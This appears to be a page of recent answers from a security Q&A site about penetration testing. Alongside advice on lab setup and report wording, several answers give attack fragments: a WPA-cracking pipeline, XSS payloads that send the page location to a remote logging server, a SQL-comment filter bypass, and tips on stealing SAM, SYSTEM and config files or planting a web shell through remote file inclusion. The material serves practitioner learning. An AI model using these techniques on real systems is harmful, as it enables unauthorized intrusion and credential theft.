New answers tagged

1

You MUST run your own servers, and then try to attack them, then secure them from that attack, then attack again. You should use VMs. One source of working VMs for a wide range of applications is Turnkeylinux; another is Bitnamithey should not have deliberate security flaws, but if you install an ISO created a few months ago, and don't let it patch itself, ...


-4

try playing as much as capture the flag as you including wargames.


3

This is an empty SQL comment, and is treated the same as a space. This trick can be used to get around filters that strip out spaces. It may also be introduced to bypass a WAF or IDS.


0

Crunch (this provides the output for AirCrack) and then John (this turns it into a session) and that AirCrack (which cracks it). Like this: crunch 8 20 -f ~/crunch-3.6/charset.lst mixalpha-numeric-symbol14-space -i |./john --stdin (This accepts crunch's words) --session=stpcrunch --stdout (this then forwards it to aircrack) | aircrack-ng -a 2 -b ...


5

Here's the format I've used. Active voice for things you did, passive voice for the state the system exists in. At the beginning of the report: $tester (henceforth referred to as "we"/"I") tested $Application ... For a narrative style: We/I tested the foobar, and found it was vulnerable to baz. For a findings style: The Foo system is vulnerable to bar. ...


4

If your goal is to be understood, you will use the forms that say most clearly what really happened. If you performed the action and the pronoun is understood from context, "I discovered" is superior to any alternative for comprehension. Absent necessary context "Paul discovered…" or "Paul Burkeland discovered…" is most clear. There are answers here that ...


47

Some other options: Passive voice: A vulnerability in HP Power Manager was discovered... Present tense: HP Power Manager is vulnerable to... It is most common (in the UK at least) to use the passive voice. I prefer using present tense when possible, and first person plural otherwise; the writing feels more personal. But this is controversial; a lot of ...


19

Typically you'll see them written in first person plural, and less often in third person singular, general. You might do first person singular if you are conducting the work as an individual and not as part of a company.


2

I usually do a Google image search for an amusing image, save this to my own HTTPS server and then create an <img /> tag using the XSS vulnerability. With a bit of imagination, this can demonstrate the vulnerability in a humorous way. Also check out the http://www.xss-payloads.com/ site for other interesting payloads.


0

Use a wireless sniffer or protocol analyzer (WireShark or airmon-ng) to capture wireless packets. Sniffing this way is similar to how attackers sniff wired networks to eavesdrop and capture information sent across a network. Wait for a wireless client to authenticate. WPA wireless clients authenticate with WAPs using a four-way handshake where they exchange ...


0

Depending on your audience you could also inject some javascript nonsense like a matrix screensaver (this for example).


0

For demonstration purposes, you could do a document.location redirect to a different website. A fun one would be to inject the Harlem Shake js that makes everything on the page dance.


0

<img src="test.com/index.php?something=document.location/> If put somewhere non-persistant.


0

Either this or that. If a router is compromised, it can send a copy of the traffic to whoever's controlling it. If neither router is compromised, but an attacker has physical access to the line connecting them, he may be able to sniff. Copper wires are relatiely easy to sniff - a simple instrument placed near the wire can sniff the signal. Optic fibers are ...


8

For testing purposes, I think the most useful one is a HTTP request. This allows your server to log URLs which successfully reflected the XSS. (new Image()).src = "https://localhost/log_xss?from=" + window.location; You can also wrap it in a userscript: // ==UserScript== // @match <all_urls> // @run-at document-start // ==/UserScript== ...


10

You can try console.log('XSS').


1

`perl -e 'print "pam," x 10000'` is executed in subshell, prints 10000 times pam divided by comma (,). The returned string is used as an argument for -oKbdInteractiveDevices= option (see manual page for ssh): KbdInteractiveDevices Specifies the list of methods to use in keyboard-interactive authentication. Multiple method names must be ...


6

With DOM-Manipulation one could change the page itself. In case one knows the target page, it can be manipulated in some nice ways. An easy example would be: document.body.innerHTML = 'XSS';


1

You could grab important files as suggested. For example, web.config files or other application configuration files may contain sensitive information such as passwords. You could also try grabbing the SAM and SYSTEM files - the only trouble is that these will almost certainly be locked. In that case you could grab the backups from the repair folder. See ...


0

Like most other businesses in the world, this target network is likely using Port Address Translation (PAT aka "overloaded NAT") whereby internal addresses get translated into the public IP (or an IP from the public pool) on egress into the Internet when making connections. This means that the private space (172.160.0.0/24) is used on the local LAN inside ...


2

Good pen testers tend to have three qualities: an attention to detail whilst following a flexible process so that nothing is missed, patience to keep going at something when they have a gut feeling that there's 'something there', and a lot of experience (which is how they get the 'gut' feeling in the first place). Poor pen testers follow a rigid checklist ...


1

A pentester would never operate alone, there are too many errors and omissions. If you are looking for accreditation, look for it at the team, or member-company, level. In the UK (I am from the US, but I realize that the standards of quality in the UK are obviously slightly higher than ours), the two primary standards (and they go together) are the CBEST ...


3

What you describe can be called an information disclosure vulnerability. You could use this technique as a method of fingerprinting (looking for specific operating system files, common web framework folders and files, etc.) and could prove useful in identifying a version of something on the system that is susceptible to a separate vulnerability. As you've ...


1

There is no legitimate way for an unauthorized eavesdropper to access those specific packets. So let's break it down: Make it legitimate. Eve* could ask Alice or Bob for those packets. Authorize it. Eve could be a law enforcement officer, and request the network provider to deliver copies of those packets. Be less specific. If Eve is a thief who just ...


0

Here are two ideas which show the dangers of phishing and social engineering, among other things. If it's a 10BASET or 100BASETX network (unlikely), Bob can fly to LA and try to find their network entry point. If Bob has enough money, this is even easier. Bob shows up pretending to work for the ISP and says he has to fix something. Corporate/business ...


23

Number one rule of penetration testing: don't do it on things that don't belong to you. Yes, it is merely a spider. However, people think wget is a scary hacker tool and the US govt. actually used that in a case. I appreciate that you rectified your mistake, and I think that reflects well on you. You have a few options here, depending on your moral beliefs: ...


0

Short version: PCI documents leave room to support either stance Your QSA's approval or disapproval trumps anything you think the documents say (as always!) In practice, I have seen QSAs accept limited-scope pentests when "significant changes" were limited in scope to the environment Long version: On the face of it, the wording of the DSS seems ...


0

On higher end systems with decent strength virtual would be a good start with little risk or complication but later on if interested should be installed to made easier to interface with once you learned what to do and not to do on the OS and little less risk of damage


5

Generally there are two ways you can upload a shell to a server. Use RFI to execute PHP script that places shell You place a text file on another webserver that contains php code to place a shell on the server then you include this file. You can place the shell on the server in various ways. Use FTP/HTTP/... module of php to download the shell from a ...


2

Pentesters do not use any "common" routers. As a pentester you should be able to perform a penetration test on any device. If a device is too difficult, it means you need to try harder.


1

Wireshark is a passive packet analyzer which allows you to look at network traffic and search it. Ettercap can do that too, but it is also able to actively change any network traffic routed through it. You can set it up to drop, modify or insert certain network packets.



Top 50 recent answers are included